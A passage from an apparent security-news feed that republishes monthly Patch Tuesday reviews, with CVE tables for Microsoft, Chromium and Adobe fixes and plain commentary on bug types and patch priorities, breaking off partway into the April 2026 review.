  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24292"><span><span> </span>CVE-2026-24292<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24295"><span><span> </span>CVE-2026-24295<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24296"><span><span> </span>CVE-2026-24296<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25189"><span><span> </span>CVE-2026-25189<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows DWM Core Library Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25174"><span><span> </span>CVE-2026-25174<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Extensible File Allocation Table
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25168"><span><span> </span>CVE-2026-25168<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25169"><span><span> </span>CVE-2026-25169<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><span><span> </span>CVE-2026-23668<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25180"><span><span> </span>CVE-2026-25180<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25170"><span><span> </span>CVE-2026-25170<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Hyper-V Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24297"><span><span> </span>CVE-2026-24297<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kerberos Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24287"><span><span> </span>CVE-2026-24287<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24289"><span><span> </span>CVE-2026-24289<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26132"><span><span> </span>CVE-2026-26132<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24288"><span><span> </span>CVE-2026-24288<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Mobile Broadband Driver Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25175"><span><span> </span>CVE-2026-25175<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows NTFS Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><span><span> </span>CVE-2026-23669<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Print Spooler Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24290"><span><span> </span>CVE-2026-24290<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Projected File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23673"><span><span> </span>CVE-2026-23673<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Resilient File System (ReFS)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25172"><span><span> </span>CVE-2026-25172<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25173"><span><span> </span>CVE-2026-25173<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26111"><span><span> </span>CVE-2026-26111<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25185"><span><span> </span>CVE-2026-25185<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Shell Link Processing Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.3</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294"><span><span> </span>CVE-2026-24294<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26128"><span><span> </span>CVE-2026-26128<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25166"><span><span> </span>CVE-2026-25166<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows System Image Manager Assessment and
  Deployment Kit (ADK) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25188"><span><span> </span>CVE-2026-25188<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Telephony Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23672"><span><span> </span>CVE-2026-23672<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Universal Disk Format File System
  Driver (UDFS) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25187"><span><span> </span>CVE-2026-25187<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Winlogon Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3536"><span><span> </span>CVE-2026-3536 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3536 Integer overflow in
  ANGLE<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3538"><span><span> </span>CVE-2026-3538 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3538 Integer overflow in
  Skia<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3539"><span><span> </span>CVE-2026-3539 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3539 Object lifecycle
  issue in DevTools<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3540"><span><span> </span>CVE-2026-3540 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3540 Inappropriate
  implementation in WebAudio<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3541"><span><span> </span>CVE-2026-3541 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3541 Inappropriate
  implementation in CSS<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3542"><span><span> </span>CVE-2026-3542 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3542 Inappropriate
  implementation in WebAssembly<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3543"><span><span> </span>CVE-2026-3543 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3543 Inappropriate
  implementation in V8<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3544"><span><span> </span>CVE-2026-3544 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3544 Heap buffer overflow
  in WebCodecs<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3545"><span><span> </span>CVE-2026-3545 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3545 Insufficient data
  validation in Navigation<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.</p><p class="">Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.</p><p class="">Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand. </p><p class="">There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.</p><p class="">There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate. </p><p class="">Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The April 2026 Security Update Review]]></title>
<description><![CDATA[It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Micro...]]></description>
<link>https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for April 2026</strong></p><p class="">For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-43.html" target="_blank">APSB26-43</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>1</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>Yes</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-44.html" target="_blank">APSB26-44</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-32.html" target="_blank">APSB26-32</a></td>
    <td>Adobe InDesign</td>
    <td>9</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-33.html" target="_blank">APSB26-33</a></td>
    <td>Adobe InCopy</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/framemaker/apsb26-36.html" target="_blank">APSB26-36</a></td>
    <td>Adobe FrameMaker</td>
    <td>11</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-37.html" target="_blank">APSB26-37</a></td>
    <td>Adobe Connect</td>
    <td>9</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-38.html" target="_blank">APSB26-38</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-39.html" target="_blank">APSB26-39</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/photoshop/apsb26-40.html" target="_blank">APSB26-40</a></td>
    <td>Adobe Photoshop</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-42.html" target="_blank">APSB26-42</a></td>
    <td>Adobe Illustrator</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-screens/apsb26-34.html" target="_blank">APSB26-34</a></td>
    <td>Adobe Experience Manager Screens</td>
    <td>9</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-41.html" target="_blank">APSB26-41</a></td>
    <td>Adobe DNG SDK</td>
    <td>3</td>
    <td>Important</td>
    <td>5.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
</table>



  
  









  <p class="">Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed. </p><p class="">Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for April 2026</strong></p><p class="">This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.</p><p class="">By my count, this is the second-largest 